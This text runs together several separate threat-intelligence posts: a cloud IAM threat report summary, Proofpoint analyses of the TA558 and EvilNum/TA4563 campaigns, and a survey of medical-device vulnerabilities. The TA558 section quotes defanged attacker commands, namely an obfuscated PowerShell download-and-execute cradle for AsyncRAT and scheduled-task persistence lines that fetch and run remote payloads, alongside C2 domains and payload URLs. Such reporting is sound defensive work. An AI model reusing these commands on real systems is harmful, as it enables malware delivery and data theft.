Below, we’ll present some of the highlights of the research and recommendations in Unit 42’s latest Cloud Threat Report, “IAM The First Line of Defense.”
Why Identity and Access Management Takes Center Stage
Throughout the pandemic, there were significant expansions of cloud workloads overall.
Organizations increased their cloud usage – with a dramatic surge in the number of organizations that host more than half their workloads in the cloud (see Figure 1 below).
As more organizations move workloads to the cloud, and develop applications natively in the cloud, identity needs to remain a key focus when building a cloud security strategy.
If you follow Unit 42 closely, you may remember that it was just a short time ago that we published a report on the importance of IAM.
When attackers take advantage of misconfigured or overly permissive identity access controls, they don’t need to figure out how to pull off a technically complex compromise.
Instead, they can simply gain access to resources as if they have a right to them.
Threat actors are hungry to target organizations that lack proper IAM controls, and pairing this hunger with an increased usage of cloud platforms creates a new kind of threat – one that is more sophisticated yet requires less effort to execute.
The question turns to why and how this is possible.
Key Findings From Unit 42’s Cloud Threat Report: IAM The First Line of Defense
Why IAM Is a Target
Let’s address the “why” first by explaining some of the key statistics we uncovered:
Password reuse: 44% of organizations allow IAM password reuse.
Weak passwords (<14 characters): 53% of cloud accounts allow weak password usage.
Cloud identities are too permissive: 99% of cloud users, roles, services, and resources were granted excessive permissions which were ultimately left unused (we consider permissions excessive when they go unused for 60 days or more).
Built-in cloud service provider (CSP) policies are not managed properly by users: CSP-managed policies are granted 2.5 times more permissions than customer-managed policies, and most cloud users prefer to use built-in policies.
Users are able to reduce the permissions given, but often don’t.
With organizations allowing excessive permissions and overly permissive policies, attackers are too often welcomed into an organization’s cloud environment with keys to the kingdom.
How Cloud Threat Actors Target Cloud Identities
Most organizations are unprepared for an attack through the exploitation of weak IAM policies.
Adversaries know this as well; they target cloud IAM credentials and are ultimately able to collect these credentials as part of their standard operating procedures.
Case in point, they’re leveraging new TTPs unique to cloud platforms that organizations need to be aware of in order to implement a strategy to protect themselves.
Defense Against IAM Cloud Threats
To help organizations defend themselves against this threat, we created an industry-first Cloud Threat Actor Index that can be found in our report, which charts the operations performed by actor groups that target cloud infrastructure.
These charts detail the TTPs of each cloud threat actor, allowing your security team and wider organization to evaluate your strategic defenses and build the proper monitoring, detection, alerting and prevention mechanisms.
Who Is Targeting the Cloud?
The Cloud Threat Actor Index highlights the top actors targeting cloud infrastructure, as well as nation-state actors that have been known to use the cloud to conduct attacks.
Below is a preview of the top cloud threat actors that we’ve indexed.
We charted their operations in our report, sorted by prevalence.
Top 5 Cloud Threat Actors
TeamTNT: The most well-known and sophisticated credential targeting group.
WatchDog: Considered to be an opportunistic threat group that targets exposed cloud instances and applications.
Kinsing: Financially motivated and opportunistic cloud threat actor with heavy potential for cloud credential collection.
Rocke: Specializes in ransomware and cryptojacking operations within cloud environments.
8220: Monero mining group, purportedly elevated their mining operations by exploiting Log4j in December 2021.
Top Advanced Persistent Threats Utilizing and Targeting Cloud Infrastructure
APT 28 (Fancy Bear).
APT 29 (Cozy Bear).
APT 41 (Gadolinium).
Recommendations
Proper IAM configuration can block unintended access, provide visibility into cloud activities and reduce the impact when security incidents occur.
Defense Against Cloud Threats
In particular, we recommend that organizations defend against threats that target the cloud in the following ways:
Cloud Native Application Protection Platform (CNAPP) suite integration.
Harden IAM permissions.
Increase security automation.
In our report we provide details on each of these recommendations, including an eight-step best practices guide to hardening IAM permissions.
Reservations Requested: TA558 Targets Hospitality and Travel
August 18, 2022 Joe Wise, Selena Larson and the Proofpoint Threat Research Team
Key Findings:
TA558 is a likely financially motivated small crime threat actor targeting hospitality, hotel, and travel organizations.
Since 2018, this group has used consistent tactics, techniques, and procedures to attempt to install a variety of malware including Loda RAT, Vjw0rm, and Revenge RAT.
TA558’s targeting focus is mainly on Portuguese and Spanish speakers, typically located in the Latin America region, with additional targeting observed in Western Europe and North America.
TA558 increased operational tempo in 2022 to a higher average than previously observed.
Like other threat actors in 2022, TA558 pivoted away from using macro-enabled documents in campaigns and adopted new tactics, techniques, and procedures.
Overview
Since 2018, Proofpoint has tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe.
The actor sends malicious emails written in Portuguese, Spanish, and sometimes English.
The emails use reservation-themed lures with business-relevant themes such as hotel room bookings.
The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads, typically remote access trojans (RATs), that can enable reconnaissance, data theft, and distribution of follow-on payloads.
Proofpoint tracked this actor based on a variety of email artifacts, delivery and installation techniques, command and control (C2) infrastructure, payload domains, and other infrastructure.
In 2022, Proofpoint observed an increase in activity compared to previous years.
Additionally, TA558 shifted tactics and began using URLs and container files to distribute malware, likely in response to Microsoft announcing it would begin blocking VBA macros downloaded from the internet by default.
TA558 has some overlap with activity reported by Palo Alto Networks in 2018, Cisco Talos in 2020 and 2021, Uptycs in 2020, and HP in 2022.
This report is the first comprehensive, public report on TA558, detailing activity conducted over four years that is still ongoing.
The information used in the creation of this report is based on email campaigns, which are manually contextualized, and analyst enriched descriptions of automatically condemned threats.
Campaign Details and Activity Timeline
2018
Proofpoint first observed TA558 in April 2018.
These early campaigns typically used malicious Word attachments that exploited Equation Editor vulnerabilities (e.g.
CVE-2017-11882) or remote template URLs to download and install malware.
Two of the most common malware payloads included Loda and Revenge RAT.
Campaigns were conducted exclusively in Spanish and Portuguese and targeted the hospitality and related industries, with “reserva” (Portuguese word for “reservation”) themes.
Example campaign:
Subject: Corrigir data da reserva para o dia 03
Attachment: Booking - Dados da Reserva.docx
Attachment “Author”: C.D.T Original
SHA256: 796c02729c9cd5d37976ddae205226e6339b64859e9980d56cbfc5f461d00910
TA558
Figure 1: Example TA558 email from 2018
The documents leveraged remote template URLs to download an additional RTF document, which then downloaded and installed Revenge RAT.
Interestingly, the term “CDT" is in the document metadata and in the URL.
This term, which may refer to a travel organization, appears throughout TA558 campaigns from 2018 to present.
RTF payload URL example:
hxxp[://]cdtmaster[.]com[.]br/DadosDaReserva[.
]doc
2019
In 2019, this actor continued to leverage emails with Word documents that exploited Equation Editor vulnerabilities (e.g.
CVE-2017-11882) to download and install malware.
TA558 also began using macro-laden PowerPoint attachments and template injection with Office documents.
This group expanded their malware arsenal to include Loda, vjw0rm, Revenge RAT, and others.
In 2019, the group began occasionally expanding targeting outside of the hospitality and tourism verticals to include business services and manufacturing.
Example campaign:
Subject: RESERVA
Attachment: RESERVA.docx
Attachment “Author”: msword
Attachment “Last Saved By”: Richard
SHA256: 7dc70d023b2ee5a941edd925999bb6864343b11758c7dc18309416f2947ddb6e
TA558
Figure 2: Example TA558 email from 2019
TA558
Figure 3: Example TA558 Microsoft Word attachment from 2019
The documents leveraged a remote template relationship URL to download an additional RTF document.
The RTF document (Author: obidah qudah, Operator: Richard) exploited the CVE-2017-11882 vulnerability to retrieve and execute an MSI file.
Upon execution, the MSI file extracted and ran Loda malware.
In December 2019, Proofpoint analysts observed TA558 begin to send English-language lures relating to room bookings in addition to Portuguese and Spanish.
2020
In 2020, TA558 stopped using Equation Editor exploits and began distributing malicious Office documents with macros, typically VBA macros, to download and install malware.
This group continued to use a variety of malware payloads including the addition of njRAT and Ozone RAT.
Hotel, hospitality, and travel organization targeting continued.
Although the actor slightly increased its English-language operational tempo throughout 2020, most of the lures featured Portuguese and Spanish reservation requests.
An example of a common attack chain in 2020:
From: Oab Brasil <fernando1540@bol[.]com[.
]br>
Subject: Orçamento Conferencistas - 515449939
Attachment: reserva.ppa
SHA256: c2b817b02e56624c8ed7944e76a3896556dc2b7482f747f4be88f95e232f9207
TA558
Figure 4: Example TA558 email from 2020
The message contained a PowerPoint attachment that used template injection techniques and VBA macros which, if enabled, executed a PowerShell script to download a VBS payload from an actor-controlled domain.
The VBS script in turn downloaded and executed Revenge RAT.
Attack Path
Figure 5: 2020 attack path example
TA558 was more active in 2020 than previous years and 2021, with 74 campaigns identified.
2018, 2019, and 2021 had 9, 70, and 18 total campaigns, respectively.
So far in 2022, Proofpoint analysts have observed 51 TA558 campaigns.
TA558
Figure 6: Total number of TA558 campaigns over time
2021
In 2021, this actor continued to leverage emails with Office documents containing macros or Office exploits (e.g.
CVE-2017-8570) to download and install malware.
Its most consistently used malware payloads included vjw0rm, njRAT, Revenge RAT, Loda, and AsyncRAT.
Additionally, this group started to include more elaborate attack chains in 2021.
For example, introducing more helper scripts and delivery mechanisms such as embedded Office documents within MSG files.
In this example 2021 campaign, emails purported to be, e.g.
:
From: Financeiro UNIMED <financeiro@unimed-corporated[.
]com>
Subject: Reserva
Replyto: cdt[name]cdt@gmail[.
]com
Attachment: OficioCircularencaminhadoaoSetorFinanceiroUNIMED.docx
SHA256: 2f0f99cbac828092c0ec23e12ecb44cbf53f5a671a80842a2447e6114e4f6979
Emails masqueraded as Unimed, a Brazilian medical work cooperative and health insurance operator.
These messages contained Microsoft Word attachments with macros which, if enabled, invoked a series of scripts to ultimately download and execute AsyncRAT.
TA558
Figure 7: Example TA558 email from 2021
Of note is the repeat use of the string “CDT” contained the replyto email address and C2 domain names.
AsyncRAT C2 domains:
warzonecdt[.]duckdns[.
]org
cdt2021.zapto[.
]org
Example PowerShell execution to download and execute AsyncRAT:
$NOTHING = '(Ne<^^>t.We'.Replace('<^^>','w-Object
Ne');$alosh='bC||||||!@!@nlo'.Replace('||||||!@!
@','lient).Dow'); $Dont='adString(''hxxps[:]//brasilnativopousada[.]com[.
]br/Final.txt'')
';$YOUTUBE=IEX ($NOTHING,$alosh,$Dont -Join '')|IEX
Persistence was achieved through a scheduled task masquerading as a Spotify service.
schtasks /create /sc MINUTE /mo 1 0 /tn "Spotfy" /tr
"\"%windir%\system32\mshta.exe\"hxxps[:]//www[.
]unimed-
corporated[.
]com/microsoft.txt" /F
This was the actor’s least active year.
Proofpoint observed just 18 campaigns conducted by TA558 in 2021.
2022
In 2022, campaign tempo increased significantly.
Campaigns delivered a mixture of malware such as, Loda, Revenge RAT, and AsyncRAT.
This actor used a variety of delivery mechanisms including URLs, RAR attachments, ISO attachments, and Office documents.
TA558 followed the trend of many threat actors in 2022 and began using container files such as RAR and ISO attachments instead of macro-enabled Office documents.
This is likely due to Microsoft’s announcements in late 2021 and early 2022 about disabling macros by default in Office products, which caused a shift across the threat landscape of actors adopting new filetypes to deliver payloads.
Additionally, TA558 began using URLs more frequently in 2022.
TA558 conducted 27 campaigns with URLs in 2022, compared to just five campaigns total from 2018 through 2021.
Typically, URLs led to container files such as ISOs or zip files containing executables.
TA558
Figure 8: Campaigns using specific threat types over time
For example, this 2022 Spanish language campaign featured URLs leading to container files.
Messages purported to be, e.g.
:
From: Mauricio Fortunato <contato@155hotel[.]com[.
]br>
Subject: Enc: Reserva Familiar
The URL purported to be a legitimate 155 Hotel reservation link that led to an ISO file and an embedded batch file.
The execution of the BAT file led to a PowerShell helper script that downloaded a follow-on payload, AsyncRAT.
Similar to earlier campaigns, persistence was achieved via a scheduled task:
schtasks /create /sc MINUTE /mo 1 /tn Turismo /F /tr
"powershell -w h -NoProfile -ExecutionPolicy Bypass -
Command start-sleep -s 20;iwr ""\""hxxps[:]//unimed-
corporated[.]com/tur/turismo[.
]jpg""\"" -useB|iex;"
TA558
Figure 9: 2022 campaign example chain.
In April 2022 Proofpoint researchers spotted a divergence from the typical email lure.
One of the campaigns included a QuickBooks invoice email lure.
Additionally, this campaign included the distribution of RevengeRAT which had not been observed in use by TA558 since December 2020.
Messages purported to be:
From: Intuit QuickBooks Team <quickbooks@unimed-corporated.com>
Subject: QuickBooks Invoice 1000172347
Attachment: 1000172347.xlsm
SHA256: b57a9f7321216c3410ebcc9d4b09e73a652dee9e750f96b2f6d7d1e39e2923d6
The emails contained Excel attachments with macros that downloaded helper scripts via PowerShell and MSHTA.
The execution of helper scripts ultimately led to the installation of RevengeRAT.
Proofpoint has not seen this theme since April, and it is unclear why TA558 temporarily pivoted away from reservations themes.
Malware Use
Since 2018, TA558 has used at least 15 different malware families, sometimes with overlapping command and control (C2) domains.
The most frequently observed payloads include Loda, Vjw0rm, AsyncRAT, and Revenge RAT.
TA558
Figure 10: Number of TA558 campaigns by malware type over time
Typically, TA558 uses attacker owned and operated infrastructure.
However, Proofpoint has observed TA558 leverage compromised hotel websites to host malware payloads, thus adding legitimacy to its malware delivery and C2 traffic.
Language Use
Since Proofpoint began tracking TA558 through 2022, over 90% of campaigns were conducted in Portuguese or Spanish, with four percent featuring multiple language lure samples in English, Spanish, or Portuguese.
TA558
Figure 11: Campaign totals by language since 2018
Interestingly, the threat actor often switches languages in the same week.
Proofpoint researchers have observed this actor send, for example, a campaign in English and the following day another campaign in Portuguese.
Individual targeting typically differs based on campaign language.
Notable Campaign Artifacts
In addition to the consistent lure themes, targeting, message content, and malware payloads, Proofpoint researchers observed TA558 using multiple notable patterns in campaign data including the use of certain strings, naming conventions and keywords, domains, etc.
For example, the actor appears to repeat the term CDT in email and malware attributes.
This may relate to the CDT Travel organization and related travel reservation lure themes.
Proofpoint researchers observed TA558 use the CDT term in dozens of campaigns since 2018, in C2 domains, replyto email addresses, payload URLs, scheduled task name, and Microsoft Office document metadata (i.e., Author, Last Saved By), and Microsoft Office macro language.
Throughout many of the 2019 and 2020 campaigns the threat actor used various URLs from the domain sslblindado[.
]com to download either helper scripts or malware payloads.
Some examples include:
microsofft[.]sslblindado[.
]com
passagensv[.]sslblindado[.
]com
system11[.]sslblindado[.
]com
Like other threat actors, this group sometimes mimics technology service names to appear legitimate.
For example, using terms in payload URLs or C2 domain names.
Some examples include:
microsofft[.]sslblindado[.
]com
firefoxsystem[.]sytes[.
]net
googledrives[.]ddns[.
]net
Another interesting pattern observed were common strings like “success” and “pitbull”.
In several campaigns Proofpoint researchers spotted these strings in C2 domains.
Some examples include:
successfully[.]hopto[.
]org
success20[.]hopto[.
]org
4success[.]zapto[.
]org
From 2019 through 2020, TA558 conducted 10 campaigns used the keyword “Maringa” or “Maaringa” in payload URLs or email senders.
Maringa is a city in Brazil.
Examples include:
maringareservas[.]com[.]br/seila[.
]rtf
maringa[.]turismo@system11[.]com[.
]br
Possible Objectives
Proofpoint has not observed post-compromise activity from TA558.
Based on the observed payloads, victimology, and campaign and message volume, Proofpoint assesses with medium to high confidence that this is a financially motivated cybercriminal actor.
The malware used by TA558 can steal data including hotel customer user and credit card data, allow lateral movement, and deliver follow-on payloads.
Open-source reporting provides insight into one possible threat actor objective.
In July, CNN Portugal reported a Portuguese hotel’s website was compromised, and the actor was able to modify the website and direct customers to a fake reservation page.
The actor stole funds from potential customers by posing as the compromised hotel.
Although Proofpoint does not associate the identified activity with TA558, it provides an example of possible follow-on activity and the impacts to both target organizations and their customers if an actor is able to compromise hotel or transportation entities.
Conclusion
TA558 is an active threat actor targeting hospitality, travel, and related industries since 2018.
Activity conducted by this actor could lead to data theft of both corporate and customer data, as well as potential financial losses.
Organizations, especially those operating in targeted sectors in Latin America, North America, and Western Europe should be aware of this actor’s tactics, techniques, and procedures.
Indicators of Compromise (IOCs)
The following IOCs represent a sample of indicators observed by Proofpoint researchers associated with TA558.
C2 Domains
Indicator
Description
Date Observed
quedabesouro[.]ddns[.
]net
RevengeRAT C2 Domain
2018
queda212[.]duckdns[.
]org
njRAT/RevengeRAT C2 Domain
2018
3030pp[.]hopto[.
]org
vjw0rm C2 Domain
2018 and 2019
vemvemserver[.]duckdns[.
]org
Houdini/Loda C2 Domain
2019
4success[.]zapto[.
]org
Loda C2 Domain
2019
success20[.]hopto[.
]org
Loda C2 Domain
2020
msin[.]hopto[.
]org
Loda C2 Domain
2021 and 2022
cdtpitbull[.]hopto[.
]org
AsyncRAT C2 Domain
2021 and 2022
111234cdt[.]ddns[.
]net
njRAT/AsyncRAT C2 Domain
2021 and 2022
cdt2021[.]zapto[.
]org
AsyncRAT C2 Domain
2021 and 2022
38[.]132[.]101[.
]45
RevengRAT C2 IP
2022
Payload URLs
Indicator
Description
Date Observed
hxxp[://]cdtmaster[.]com[.]br/DadosDaReserva[.
]doc
RTF payload URL
2018
hxxp[://]hypemediardf[.]com[.]pl/css/css[.
]doc
Loda Payload URL
2019
hxxps[:]//brasilnativopousada[.]com[.]br/Final[.
]txt
AsyncRAT Payload URL
2021
hxxps[:]//www[.]unimed-corporated[.]com/microsoft[.
]txt
AsyncRAT Scheduled Task URL
2021
hxxps[:]//unimed-corporated[.]com/tur/turismo[.
]jpg
AsyncRAT Scheduled Task URL
2022
ET Signatures
ETPRO MALWARE Loda Logger CnC Activity
ETPRO TROJAN MSIL/Revenge-RAT Keep-Alive Activity (Outbound)
ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin
ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin M2
ETPRO TROJAN MSIL/Revenge-RAT CnC Checkin M4
ETPRO TROJAN njRAT/Bladabindi Variant CnC Activity (inf)
ETPRO TROJAN Generic njRAT/Bladabindi CnC Activity (act)
ETPRO TROJAN Generic njRAT/Bladabindi CnC Activity (inf)
ET TROJAN Bladabindi/njRAT CnC Command (ll)
Connected Healthcare: A Cybersecurity Battlefield We Must Win
By Charles McFarland · June 6, 2022
We are commonly taught to prioritize the most critical, severe, or impactful tasks when trying to conquer a list of intimidating problems.
Yet, how is this possible when presented with two tasks of equal importance?
The medical industry has its work cut out for itself when reviewing its list of intimidating problems.
Healthcare providers are entrusted with protecting lives, often in high stress situations while still needing to protect patient data against loss and theft.
Both are important and both can be compromised by the efforts of bad actors.
The medical industry is at unique risk of attack due to the numerous purpose-built devices used, such as anesthesia machines, IV pumps, point of care systems, MRI machines, and numerous others.
Many of these devices are not found in other industries nor the average household.
Their lack of ubiquity creates a false sense of security and reduced scrutiny from the security research industry.
Failure to mitigate these risks can have dire consequences for healthcare providers and patients alike.
It’s not just routers and computers that are targeted by bad actors.
Even seemingly mundane devices can be used for malicious purposes such as printers.
Medical devices can allow attackers to get a foothold on a critical network or move laterally across their infrastructure resulting in potentially stealing or destroying patient data.
The medical industry needs to be concerned with not only common devices but any device they deploy which can have security vulnerabilities of equal severity to those of more common devices.
Building secure devices and software is difficult, proven time and again by the actions of malicious hackers and state sponsored attacks.
Using public data such as CVE databases we have taken the time to analyze the current state of the attack surface in the medical space and evaluate active threats and distribution of discovered vulnerabilities.
We believe that more partnerships between medical device vendors, medical care facilities and security researchers in junction with increased security testing is warranted to prevent a growing attack surface from becoming even more attractive to malicious actors.
From the dark web to extortion
It used to be the case that bad actors collected medical data and sold this data in bulk on the dark web.
Much of this was likely used for fraudulent purposes such as identity theft and insurance scams.
However, times have changed.
After extensively searching dark markets we found very little data for sale.
It is possible that some data has simply moved to other platforms but ransomware campaigns play a large role as well.
For example, hospitals and other facilities have been hit hard and often by ransomware groups such as Conti.
In recent years extortion has been on the rise with threats of releasing confidential data belonging to medical institutions not willing to pay cybercriminals.
After all, many countries have laws concerning the protection of personal health information (PHI) and the ramifications of a leak could be catastrophic with impacts spanning from fines to criminal prosecution.
These leaks have increased the supply of stolen medical data drastically, all but eradicating the market as we know it.
Data theft and sales will always be a thing but many of the buyers can now get their data for free.
The clear and present danger to the medical industry today is ransomware.
Medical devices need to be safe guarded to not only ensure they are not an entry point into the network but the devices themselves can’t be held for ransom.
Understanding the current landscape
To gauge the current state of vulnerabilities in the medical industry, we reviewed 270 reported vulnerabilities from 2019-2022 that are specific to medical devices and software.
Some fall into other categories such as mobile apps or other miscellaneous software.
It’s surprisingly difficult to locate this information as there isn’t a standard repository for medical vulnerabilities we can search.
Three useful ways of enumerating existing vulnerabilities include searching:
Standard web search engines
National Vulnerability Database (NVD)
Industrial Control System (ICS) Medical Advisories from CISA
Using internet search engines (like Google) is typically a good place to start for any project.
This basic search method allowed us to find existing research and reports.
Collecting this data provides great insight into the current state of research; however, what it lacks is insight into niche or unpopular vulnerabilities.
Those are much harder to uncover.
That’s where the National Vulnerability Database (NVD) can help.
All public vulnerabilities assigned to a CVE can be found within in NVD.
We leveraged NVD to gather detailed data about each vulnerability and its impact.
Because it’s impossible to understand the specifics of all medical devices and software we are forced to utilize simple filters such as “medical” and “health” then manually determine if each result is applicable.
To augment this data, we use ICS Medical Advisories.
ICS Medical Advisories are published for incidences considered highly important by CISA to the medical industry.
Each advisory may include applicable CVEs, company names, and product names, related to the medical space.
Pivoting off product names and companies to further enrich our NVD searches and web searches we combined these methods and resulted with some surprising findings.
Alarming results
When evaluating devices and software we found the most common impact relates to records and management software.
This category contributes to about 17% of our samples.
It is not all that surprising given software is typically much easier to both obtain and test by security researchers.
We do believe this number is quite low as ICSMA-CERT and popular research seems to have a heavier bias to hardware than software.
IV pumps closely follow management software at about 14% of samples and patient monitors at about 7% of samples.
If IV pumps come to a surprise to you then maybe some of these others will pique your interests.
Ultrasounds (CVE-2020-25179), ventilators (CVE-2020-27278), MRI machines (CVE-2021-26262), defibrillators (CVE-2021-27489), diabetes machines (CVE-2020-27276) and even anesthesia machines (CVE-2020-10598) are among other impacted categories demonstrating a wide diversity of impacted hardware which can be seen in Figure 1.
Distribution of devices vulnerabilities by product category and software impacted
Figure 1 Distribution of devices vulnerabilities by product category and software impacted
As like all security risks, vulnerabilities must be prioritized based on their severity.
Unfortunately, a substantial percentage of medical analyzed CVEs are severe.
Just under 30% of sampled CVEs can lead to remote code executable (RCE), the crown jewel for attackers as they can lead to an attacker getting a foothold on the network with little to no user interaction.
For example, CVE-2021-27410, a 9.8 CVE (out of 10) for device management and vital monitors, requires no user interaction and is easily exploitable over the network.
These should be a high priority for any organization to track and patch and there is no shortage to choose from.
A surprisingly high percentage of issues involve authentication vulnerabilities.
These can range from exposure of credentials, clear text storage, or even a complete lack of authentication.
Just over 33% of sampled CVEs suffer from these types of issues with 19% of them simply being hardcoded credentials.
Considering authentication is one of the first forms of protection against unwanted access, this is alarming and indicates a deeper security issue.
Distribution of authentication related vulnerabilities
Figure 2 Distribution of authentication related vulnerabilities
Consider CVE-2022-22766 which suffers from embedded hard coded credentials.
This single CVE impacts medical dispensing devices, supply dispensers, and even anesthesia stations.
Hardcoded credentials are major mistakes not even considering the potential human impact of compromised medical devices.
These mistakes can easily be prevented and should not occur in this day and age.
These issues should be handled through developer training, or in the event they do make it through, security testing of the devices.
To make matters worse, hardcoded credentials issues on average score 5.75 in the CVSS scoring system.
5.75 is considered a ‘medium’ severity rating and easily overlooked next to the flashier 9.8 scores.
Among all authentication issues, the average CVSS score still only rises to an average score of 7.0.
The extensive hardcoded credentials, clear-text passwords, and other authentications issues highlights a fundamental issue with medical device security.
These issues do not exist in isolation.
As many devices perform the same or similar activities as one another it’s not uncommon for there to be extensive code reuse between them.
This is especially true with firmware.
Again, let’s consider CVE-2022-22766 where a single vulnerably impacts:
Medical workflow software
Anesthesia stations
Medical Storage devices
Medical dispensers
Medical packaging
RX inventory systems
Inventory and compliance solutions
IV prep
Stock scanners
To exploit each device would typically require tailored work for each but the vulnerability itself can be re-used between them.
Attackers can leverage this overlap to ensure they get the most from their effort by targeting device groups.
Seventeen of the sampled CVEs have publicly available exploit code and/or tutorials freely available online.
Mostly, these are related to telehealth and management systems including records.
There is a lack of publicly available exploit code for hardware devices themselves with few notable exceptions such as CVE-2020-27260, a CVSS 5.3 injection vulnerability on a patient monitor.
About 35% of the available exploits can lead to RCE and another 35% can lead to data leaks.
An attacker simply needs to add the existing code to their toolset.
Active exploitation
Are hackers actively exploiting these devices?
It appears the answer is not likely.
However, this doesn’t imply medical networks are without risk of exploitation.
After searching for medically related CVEs for active exploits we came across three actively exploited CVEs that could potentially impact the medical devices and software, CVE-2017-1043, CVE-2019-0708, CVE-2020-1938.
These exploits are not specific to medical devices and software but can impact them none-the-less.
If CVE-2019-0708 sounds familiar that is because it is a widely popular 9.8 remote code execution vulnerability in RDP called BlueKeep.
This same vulnerability can be found in a patient monitoring receiver due to its use of the vulnerable code.
The other two CVEs are similar in the fact that the vulnerabilities are not specific to the medical space but their inclusion put it at risk.
CVE-2020-1938 is another 9.8 vulnerability specific to the JServ Protocol in Apache tomcat.
Unfortunately, it is used in several medical imaging software solutions.
CVE-2017-0143 is an 8.1 SMB remote code execution flaw also found in an IV Mixture solution.
Do not consider this a comprehensive list.
Without the manufacturer discovering and reporting the issues it becomes a massive undertaking to discover them externally.
Call to action
The medical industry has been suffering ransomware attacks for several years now.
It has been significant enough to even impact on the medical sales market and shows no signs of stopping any time soon.
Medical devices and software are falling short in fundamental security practices such as handling credentials and are ripe with RCE vulnerabilities.
This is enticing to cybercriminals and we must be on our guard to prevent further attacks as it won’t be an ignored attack surface forever.
All stakeholders must acknowledge that the large selection of authentication vulnerabilities indicates the medical space needs more research, both internally and externally, to harden these devices.
It’s not simply management systems and other web-based applications we need to focus on, but any network connected medical device needs to be accessed.
Currently it doesn’t appear that these devices are being targeted by malicious actors but this doesn’t mean we can relax.
There have been plenty of RCE vulnerabilities to choose from and public exploit code for re-use.
While attackers are using other methods to attack hospitals and clinics they will search for easier access when those methods run dry.
Society as whole cannot allow medical devices and software to continue to be a weak point for attackers to exploit and therefore should encourage both internal and external security testing across developers and researchers alike.
Buy, Sell, Steal, EvilNum Targets Cryptocurrency, Forex, Commodities
July 21, 2022 Bryan Campbell, Pim Trouerbach, Selena Larson and the Proofpoint Threat Research Team
Key Findings
TA4563 is a threat actor leveraging EvilNum malware to target European financial and investment entities, especially those with operations supporting foreign exchanges, cryptocurrency, and decentralized finance (DeFi).
EvilNum is a backdoor that can be used for data theft or to load additional payloads.
The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.
Overview
Since late 2021 through the present, Proofpoint Threat Research observed the group Proofpoint calls TA4563 targeting various European financial and investment entities with the malware known as EvilNum.
The actor exclusively targeted entities in the Decentralized Finance (DeFi) industry in recently observed campaigns.
The activity Proofpoint associates with TA4563 has some overlap with activity publicly associated with a group referred to as DeathStalker and EvilNum.
The activity described in this report has some overlap with EvilNum activity publicly reported by Zscaler in June 2022.
The identified campaigns delivered an updated version of the EvilNum backdoor using a varied mix of ISO, Microsoft Word and Shortcut (LNK) files in late 2021 and early 2022, presumably as a method of testing the efficacy of the delivery methods.
This malware can be used for reconnaissance, data theft, and to deploy additional payloads.
Campaign Details
2021
Proofpoint observed the first campaign in December 2021.
The messages purported to be related to financial trading platform registration or related documents.
The initial campaign observed included the attempted delivery of Microsoft Word documents responsible for the attempted installation of the updated version of the EvilNum backdoor.
These messages used a remote template document that analysts observed attempting to communicate with domains to install several LNK loader components, leveraging wscript to load the EvilNum payload, and a JavaScript payload that was ultimately installed on the user's host.
These lures contained a financial theme, suggesting on one occasion that the intended victim needed to submit “proof of ownership of missing documents”.
Proofpoint identified the following post-infection related domains:
mailgunltd[.
]com
azuredllservices[.
]com
officelivecloud[.
]com
TA4563 is a threat actor
Early 2022
The group continued to target financial entities with a variation on the original email campaign, attempting to deliver multiple OneDrive URLs that contained either an ISO or .LNK attachment.
In identified campaigns, the actor used financial lures to get the recipient to launch the EvilNum payload.
Messages purported to be, for example:
From: “Viktoria Helle” <viktoria.helle79@zingamail[.
]uk>
Subject: Re: Reminder to submit your proof of identity and address
Campaigns continued to target specific European financial and investment entities.
Subsequent campaigns included the delivery of a compressed .LNK file directly as an additional attempt to install EvilNum.
Mid 2022
As the threat actor maintained consistent targeting and victimology, the methodology again changed.
In mid-2022 campaigns, TA4563 delivered Microsoft Word documents to attempt to download a remote template.
Messages purported to be, for example:
From: "19steeven " <arfeuille19@gmail[.
]com>
Subject: Fwd: KOT4X - Proof of ownership (urgent missing document)
Attachment: steve kot4x.docx
The attached document was responsible for generating traffic to http://outlookfnd[.
]com, a likely actor-controlled domain responsible for the EvilNum payload.
Attached Word document delivering EvilNum
Figure 1: Attached Word document delivering EvilNum.
EvilNum Details
Previous versions of EvilNum publicly reported by security organizations include both a JavaScript component and C# component of the backdoor.
Proofpoint did not observe a JavaScript component in recent campaigns and analyzed the C# component observed in multiple recent campaigns.
Each campaign is highly fenced; the malware only allows one download per IP address to ensure only the target host can retrieve the final payload.
The initial stage LNK loader is responsible for executing PowerShell via cmd.exe, this then downloads two different payloads from the initial host (e.g.
infntio[.
]com).
The first payload is responsible for executing two PowerShell scripts.
script
Figure 2: PowerShell script examples.
The first is used to decrypt a PNG and follows logic to restart the infection chain.
The second, larger PowerShell script loads C# code dynamically and sends screenshots to a command-and-control server (C2).
This C# application then executes another PowerShell command:
/c start /min \”\” powershell -inputformat none -outputformat none -windowstyle hidden -c \”&hpfde.exe” –v=[Random]
Several applications are executed depending on what antivirus software – either Avast, AVG, or Windows Defender – is found on the host.
The malware will try and call multiple executables likely already on the host machine (e.g.
TechToolkit.exe and nvapiu.exe).
The malware execution chain will change to best evade detection from the identified antivirus engine.
script
Figure 3: Executables called depending on the antivirus engine identified.
The second payload contains two encrypted blobs.
The first is decrypted to an executable, (e.g.
hpfde.exe) and the second to a TMP file (e.g.
devXYXY5.tmp).
The initial executable reads and decrypts the TMP file to load a 53KB shellcode file resulting in a final decrypted and decompressed PE file.
The EvilNum backdoor can be used for reconnaissance and data theft activity and to load follow-on payloads.
Conclusion
EvilNum malware and the TA4563 group poses a risk to financial organizations.
Based on Proofpoint analysis, TA4563’s malware is under active development.
Although Proofpoint did not observe follow-on payloads deployed in identified campaigns, third-party reporting indicates EvilNum malware may be leveraged to distribute additional malware including tools available via the Golden Chickens malware-as-a-service.
TA4563 has adjusted their attempts to compromise the victims using various methods of delivery, whilst Proofpoint observed this activity and provided detection updates to thwart this activity, it should be noted that a persistent adversary will continue to adjust their posture in their compromise attempts.
Indicators Of Compromise
2851693 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules)
2851694 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules)
2851695 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules)
2851696 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules)
2851697 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules)
Indicator
Description
hxxp://officelivecloud[.
]com
